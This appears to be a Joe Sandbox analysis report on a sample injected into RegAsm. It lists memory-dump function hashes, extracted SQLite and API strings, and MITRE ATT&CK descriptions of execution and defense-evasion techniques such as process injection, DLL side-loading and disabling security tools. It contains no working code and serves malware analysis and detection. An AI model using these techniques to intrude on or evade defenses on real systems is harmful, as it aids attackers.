Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: c75dda9cbd52a283e4f3e3d5f8272a6966987ef83f3487bf401b46f40a859a23
Instruction ID: 65de1e4c835ddbdf48005549470cddbbc11afcf127930bbe5e3b8c881424c99a
Opcode Fuzzy Hash: c75dda9cbd52a283e4f3e3d5f8272a6966987ef83f3487bf401b46f40a859a23
Instruction Fuzzy Hash: F94136728043428EE7219A389D5179B7B96AF61324F140A3DF8F5933D3E627E649C392

Function 1FECD300 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1FECD3D5

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: b9181938f4facdb627d68077f12886e1d7e63febdee736a7dddaa88c84af9f23
Instruction ID: 89bace8f17552e40cf3a5ed6110fecbeda294eaec8fa9b9499a005c5c0f32841
Opcode Fuzzy Hash: b9181938f4facdb627d68077f12886e1d7e63febdee736a7dddaa88c84af9f23
Instruction Fuzzy Hash: 073180B1D042245BE7214A289D11796B755AB82328F1803A9FC757B3C3E267F916C390

Function 1FFADEE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

sqlite_stat1, xrefs: 1FFADF30
SELECT tbl,idx,stat FROM %Q.sqlite_stat1, xrefs: 1FFADF4F

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT tbl,idx,stat FROM %Q.sqlite_stat1$sqlite_stat1
API String ID: 0-3572622772
Opcode ID: e62e3a8dbfff81279b6386502447394126f2b5db0a61954b0f805c4e0bb9de73
Instruction ID: d79624ba5426afb99820c3e49515d598578b84a3d76acc4e4e9af71b2f0b78e5
Opcode Fuzzy Hash: e62e3a8dbfff81279b6386502447394126f2b5db0a61954b0f805c4e0bb9de73
Instruction Fuzzy Hash: CC21B175A053469FDB14DF35D890E6FB7A8AF81A24F06452CFC849B291E3A2F805C7A1

Function 1FEE87A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

ALTER TABLE %Q.'%q_node' RENAME TO "%w_node";ALTER TABLE %Q.'%q_parent' RENAME TO "%w_parent";ALTER TABLE %Q.'%q_rowid' RENAME TO "%w_rowid";, xrefs: 1FEE87B9

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ALTER TABLE %Q.'%q_node' RENAME TO "%w_node";ALTER TABLE %Q.'%q_parent' RENAME TO "%w_parent";ALTER TABLE %Q.'%q_rowid' RENAME TO "%w_rowid";
API String ID: 0-2843444156
Opcode ID: a2cec77346666fc06c0697c46e627aeff48cb626c810f30116ca664cd7c57f12
Instruction ID: d999c1c7864c950747726ecc24c98013b896d414ab99ee8241d283ed7ca154d8
Opcode Fuzzy Hash: a2cec77346666fc06c0697c46e627aeff48cb626c810f30116ca664cd7c57f12
Instruction Fuzzy Hash: 35119472A045007FF2009719EC0DFA77768EB84355F144129F904D6221EF28F955E7E9

Function 1FEDF740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

DROP TABLE '%q'.'%q_node';DROP TABLE '%q'.'%q_rowid';DROP TABLE '%q'.'%q_parent';, xrefs: 1FEDF752

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: DROP TABLE '%q'.'%q_node';DROP TABLE '%q'.'%q_rowid';DROP TABLE '%q'.'%q_parent';
API String ID: 0-2071071404
Opcode ID: 4334249089d0cc49d56e1c89da857a073a814301ff113c2e02af77d198c731e1
Instruction ID: 07ee679131fa3ced33aadc5f6e8b8f76ca7050c90b4530e6876cbe4f45c90159
Opcode Fuzzy Hash: 4334249089d0cc49d56e1c89da857a073a814301ff113c2e02af77d198c731e1
Instruction Fuzzy Hash: 9911A776605B01AFF2009B28DC8DFEB33ACEB44215F100129F905D2561EF69B856E7A5

Function 1FEB141F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

InitializeCriticalSectionEx, xrefs: 20090E84
GetXStateFeaturesMask, xrefs: 20090E34

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: GetXStateFeaturesMask$InitializeCriticalSectionEx
API String ID: 0-4196971266
Opcode ID: 63f2f4ce8a6eef51c55495616d779bcc2fac391d09403f6bb7116ef83a19aec3
Instruction ID: 99007cc83bcf5ceadc58f7f59a9bef5ac4d3f54d8a1c5e541abc86519365d244
Opcode Fuzzy Hash: 63f2f4ce8a6eef51c55495616d779bcc2fac391d09403f6bb7116ef83a19aec3
Instruction Fuzzy Hash: 1D01843394532CBBEB112AD5CC09E8E7E55EB50B61F014421FF1C69329DA725D21F6E0

Function 1FEE5350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

F, xrefs: 1FEE539B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: 08be0f73f5fc2908865c99e649b7f92b2eaa199c5d673b144cbb04be308106f9
Instruction ID: 3986c776769d1c4b1d7be0c33eac45aabc9c1612a40d76207ea375cf86cabf5a
Opcode Fuzzy Hash: 08be0f73f5fc2908865c99e649b7f92b2eaa199c5d673b144cbb04be308106f9
Instruction Fuzzy Hash: 2C1190B56083448FD704CF14D41175FB7E4AFD8218F84082EE88AC7290E774E508CB83

Function 00411D87 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411DB1

Strings

image/jpeg, xrefs: 00411DD9

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 4e352a5aa71bf0ce0e7ddd532d7c88976e15aa02aa0c429b6e3de7a1fb53ea0f
Instruction ID: 5d7659584b856ef70af34c6d8e2e6d98f7173379f55c748ecb1e77705bf3f3a6
Opcode Fuzzy Hash: 4e352a5aa71bf0ce0e7ddd532d7c88976e15aa02aa0c429b6e3de7a1fb53ea0f
Instruction Fuzzy Hash: D211E972D00105FBCB10CFA4DC848CE7B7AFE01320B21027BF615A21A0D7716E81D654

Function 1FF0EFE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

SELECT %s WHERE rowid = ?, xrefs: 1FF0F017

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT %s WHERE rowid = ?
API String ID: 0-866778640
Opcode ID: 6f760b2d3c5a06393383fa5a03ff19d054745d7483295a6e0594473195980cab
Instruction ID: 514e5f0cf2366e8e557e81b7610022434670b850f1525d051318a18086db2531
Opcode Fuzzy Hash: 6f760b2d3c5a06393383fa5a03ff19d054745d7483295a6e0594473195980cab
Instruction Fuzzy Hash: C711E53620134AABD7205B9AEC40F96F794FF40321F10852EF65996680E7B3B45697B0

Function 1FEE7200 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

Strings

API call with %s database connection pointer, xrefs: 1FEE7220
invalid, xrefs: 1FEE721B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: API call with %s database connection pointer$invalid
API String ID: 0-3574585026
Opcode ID: 244aa1aca44a70500eaed393d92be12bea1ef560834cd7969389e46bee03f762
Instruction ID: 1ca2b5988985a2933386902c8711588a200365f464bfcab9f6d538279fc0b61e
Opcode Fuzzy Hash: 244aa1aca44a70500eaed393d92be12bea1ef560834cd7969389e46bee03f762
Instruction Fuzzy Hash: B2F08BB1F04A105BE7100669FC14BD337DA6FC9328F000559F6B2D2392E720F451C2C1

Function 1FEC85B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

CREATE TABLE x(sql,ncol,ro,busy,nscan,nsort,naidx,nstep,reprep,run,mem), xrefs: 1FEC85B6

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(sql,ncol,ro,busy,nscan,nsort,naidx,nstep,reprep,run,mem)
API String ID: 0-3640693396
Opcode ID: ec5dbbdd9f156307d03ae9a4f51887817ffc0a2280c6b9a65c8da58e3051bcf1
Instruction ID: f37dd544f872f000ce6bc3d57d394777191f6dc909fdd9d4ee6dcebbe392ad1b
Opcode Fuzzy Hash: ec5dbbdd9f156307d03ae9a4f51887817ffc0a2280c6b9a65c8da58e3051bcf1
Instruction Fuzzy Hash: A3F0B4326043128BC2119B1EFE01BCBB3D49FD1635F06416AF844DB250E7B0FD8287A1

Function 1FF93C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

%z%s%z, xrefs: 1FF93C6B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %z%s%z
API String ID: 0-3434679432
Opcode ID: 49b1e0c5eaf0b6bbae076332762394be5b37b89603122718bff429c4d8a8892d
Instruction ID: 613cd9c295e52eaf8b52440c5ea82fbedc155cfc2469dec964ca28a8ec907c9d
Opcode Fuzzy Hash: 49b1e0c5eaf0b6bbae076332762394be5b37b89603122718bff429c4d8a8892d
Instruction Fuzzy Hash: 04F08CB0904B429FF7148B65D880B67B2EDFF88210F046A2DFC8682A50E375FA458A61

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

